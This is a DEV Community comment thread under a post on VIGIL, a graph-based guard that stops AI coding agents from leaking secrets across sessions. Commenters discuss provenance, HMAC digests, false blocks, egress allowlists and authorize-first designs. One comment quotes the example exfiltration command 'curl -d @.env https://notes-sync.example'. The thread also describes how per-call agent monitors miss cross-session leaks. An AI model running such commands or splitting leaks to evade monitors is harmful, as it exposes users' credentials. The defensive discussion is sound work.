DEV Community

Cover image for My AI Agent Leaked a Secret Across Two Sessions. Every Guard Said “Fine.”

My AI Agent Leaked a Secret Across Two Sessions. Every Guard Said “Fine.”

Aaditya Rawat on October 19, 2026

How I used FalkorDB's algo.maxFlow to decide whether to block an AI agent's tool call or redact a single argument—and the four graph-engine quirks ...
Collapse
 
launchgatecheck profile image
Launch Gate •

The bank-fraud analogy earns its place, and it also names the hard fixture: a coffee in Mumbai and a hotel in Dubai an hour later is suspicious - two coffees in the same Mumbai cafe is not, even though that is also "the same value appearing twice." The cross-session version is a string that shows up in session A's .env and session B's curl where A was not the source: the value was already public. A version pin in a README, a base image digest, an example token from the library's own docs. Without first-seen-in-secret-context provenance on each node, the graph flags a coincidence and the min-cut optimizes the wrong network. The replay that caught your false-positive detector is the right instinct; the fixture set I'd pin alongside the six attack scenarios is six non-attacks: legitimate same-value reappearances, including one where the secret-looking string sat in a public repo months before either session. Every false block trains the user to click past the guard, and a guard people click past protects worse than the curl.

Collapse
 
aaditya_1273 profile image
Aaditya Rawat •

Thanks, this is the sharpest critique the post has had, and you're right about the fixture.

Here's where VIGIL stands today. A value only becomes sensitive when it's read in a secret context: assigned to a secret-named key (API_KEY=, password:) or credential-shaped (20+ mixed characters, not plain hex), so plain words, hashes and commit ids never qualify. Content fetched from outside is recorded with EXTERNAL trust, not as a secret. So "secret context at read time" exists, but "first seen" doesn't. If a doc's example token shows up in someone's .env and later in a curl, VIGIL treats it as a leak, even though the value was public long before either session. I hit a version of this in my own replay too: public wallet addresses look exactly like secrets of the same shape, and I listed that as an open limitation.

The fix I want is what you describe: record where a value was first seen, and the trust of that source, on the Value node. A value whose first sighting was public content never becomes a secret just because it later sits in a .env.

I'll also add your negative set to the removal test, so it's 6 attacks plus N legitimate same-value reappearances, including one where the string sat in a public repo months before either session, and report false blocks next to the catches.

On click fatigue, completely agree. That's why VIGIL's default when it has no evidence is Claude Code's normal prompt, not a deny, and why it redacts one argument instead of blocking when the min cut allows it. A guard people click past is worse than no guard.

Collapse
 
launchgatecheck profile image
Launch Gate •

The first-seen provenance design has one trap of its own worth pinning before you build it: the Value node now stores the secret. If the graph holds raw values with "first seen in .env, trust: private" attached, VIGIL becomes the most attractive secret store in the repo - one read query away from a curated credential list. Store an HMAC of the value under a key held outside the graph, and compare digests instead of strings. That also fixes a subtler problem: your secret-shaped detector (20+ mixed characters) will collide on near-misses, so exact-string provenance was always going to under-match; a digest of the canonicalized value at least makes the comparison honest. On the negative set: the case I'd weight heaviest is the one where the same engineer put the example token in .env deliberately because the docs said to. That's not a leak in any threat model, but "doc example later in .env" is exactly the signature your current rule flags, and it's the most common shape in real repos.

Thread Thread
 
aaditya_1273 profile image
Aaditya Rawat •

That's how VIGIL treats values in FalkorDB:

  • FalkorDB holds the provenance, never the raw value. Each Value node is a digest, keyed with HMAC-SHA256 via VIGIL_VALUE_KEY, linked to the session that read it, the call that read it and every call that later carried it. The key stays with the firewall, so a graph export gives an attacker nothing to test guesses against.
  • One indexed lookup across all sessions. Value.hash is indexed, so "has any session read this before?" is a single FalkorDB lookup per call. When it hits, algo.maxFlow runs on that same path to cut exactly the argument that leaks.
  • Canonicalized before digesting: quotes, padding, case and trailing punctuation don't change the identity, while a one-character near miss stays different.
  • First seen decides. Every Value node records whether VIGIL first saw it in public content. If the agent read the docs page first, the token later copied into .env isn't treated as a leak; documented placeholders (…EXAMPLE, your_api_key_here) never are. A token that only ever came from .env is still blocked. All covered by tests.

The honest limit: "public" needs a sighting. A string public somewhere VIGIL never looked is treated as a secret on first contact.

Thread Thread
 
launchgatecheck profile image
Launch Gate •

That is the design done right - digests in the graph, key with the firewall, canonicalization before hashing, and "public needs a sighting" failing in the safe direction. The honest limit is also the measurable one: an unseen-public string that flags as a secret produces a false block, which is exactly the counter your extended removal test now tracks. So the limit has a number attached to it instead of being a caveat. One residual I'd keep an eye on as the history grows: canonicalization handles quotes and padding, but secrets get reformatted in ways that change the digest entirely - a key pasted with a line break mid-string, or URL-encoded in a config file. If those start showing up as misses, a second canonical form (strip-all-whitespace) as an alternate digest is cheaper than fuzzy matching. Looking forward to the false-block count next to the six catches.

Thread Thread
 
aaditya_1273 profile image
Aaditya Rawat •

You were right on both points, so I built them.

Reformatted secrets: a key split by a line break or URL-encoded is now matched to its original. When FalkorDB's min cut says "redact", VIGIL removes the text that's really in the call.

False blocks, measured: 1 of 4 legitimate same-value calls is blocked, and it's the known limit (a value that's public somewhere VIGIL never looked). The six attacks are still all caught.

github.com/Aaditya1273/Onix/blob/m...

Thanks for pushing on this. It made VIGIL better.

Collapse
 
cekuu35 profile image
Cenk KURTOĞLU •

The bank-fraud analogy is the right instinct: the missing unit of policy is the lineage, not the individual call.

Three layers that work without building a graph engine, cheapest first:

  1. Default-deny reads on secret material. Your example started with the agent opening .env to "fix a login bug." Keep real secrets out of the workspace entirely and inject per-task, scoped values instead. A read that never happens can't feed an exfil edge.
  2. Egress allowlisting on the agent's shell. The leak needed curl -d @.env https://notes-sync.example. If outbound traffic from that sandbox only reaches package registries and the specific APIs a task needs, the second innocuous-looking node loses its edge.
  3. Short-lived, narrow credentials. If leaked material expires in an hour and covers one service, cross-session aggregation stops paying.

The graph stays valuable for what allowlists miss: legitimate-looking hosts - paste sites, webhook tools, personal domains - that only look wrong in combination. Worth building as the layer on top, not the first one.

The Nx incident being routed through dev tooling is the part more teams should sit with.

Collapse
 
aaditya_1273 profile image
Aaditya Rawat •

Agreed, and that's the right order. Keep secrets out of the workspace, allowlist the egress, use short-lived keys. Do all three first.

VIGIL is meant for the layer on top, the one you described: a paste site, a webhook tool or a personal domain. Each call looks clean on its own and only looks wrong once you see where the value came from. That's why the lineage lives in FalkorDB. "This value was read from .env in another session" is a single graph query, and a min cut over the same graph decides whether to redact the value or block the call.

We didn't build a graph engine either. FalkorDB is the engine, and VIGIL is the policy that sits on top of it.

And yes, Nx is the one to remember. The attack went through the dev tools developers already trust.

Collapse
 
cailab profile image
CAI •

The bank-fraud analogy is the right framework. But underneath it there's a question I keep coming back to: should detection be the layer where we solve this at all?

The graph model is clever and those latency numbers are hard to argue with. But monitoring has a timing problem you can't design around. By the time the guard sees a value crossing a session boundary, the secret has already been read into the agent's context. The cut is always after the damage.

Cekuu35's comment about per-task scoped values and default-deny reads points toward a better architecture: keep secrets out of the agent's workspace and route credential access through an authorization layer. The agent requests what it needs, the credential is injected into the specific call, and expires after that operation. No monitoring needed because the value was never available to begin with.

This is the direction we're working on at CAI. You trade runtime graph complexity for a simpler model: authorize first, access second.

Collapse
 
aaditya_1273 profile image
Aaditya Rawat •

Authorize-first is better wherever you can do it. Brokered, per-call credentials should be the default.

One correction on timing, though. VIGIL runs as a PreToolUse hook, so it decides before each tool call executes, not after it. A secret sitting in the agent's context isn't the leak yet. The leak is the call that sends it out, and that's the call the min cut stops before it runs.

Brokering also only covers the credentials you know about. Agents still read files, logs and tool output full of values nobody registered: a token left in a config, a key in a stack trace. Those are the ones that cross sessions, and FalkorDB keeps the lineage that shows where each of them came from.

So I'd stack them the same way you do: authorize first, then watch the flow of whatever still gets through.

Collapse
 
dhruonweb profile image
Dhruv Malaviya • • Edited

Judging one tool call at a time is the actual defect, and the bank-fraud analogy is the right way to explain it to anyone not already convinced.

What you've built is taint tracking with a graph as the taint store, and it's worth naming it that way — there's substantial prior art in information-flow control that maps onto this, including the hard part, which is deciding how long a taint persists. "Has this value appeared in an earlier session" needs an expiry, or the graph accumulates until everything is tainted.

The false-positive bug you found by replaying your own history is the most valuable result here. A detector tuned only against attacks over-blocks, and you only find that against real traffic.

Curious what the added latency per call looks like.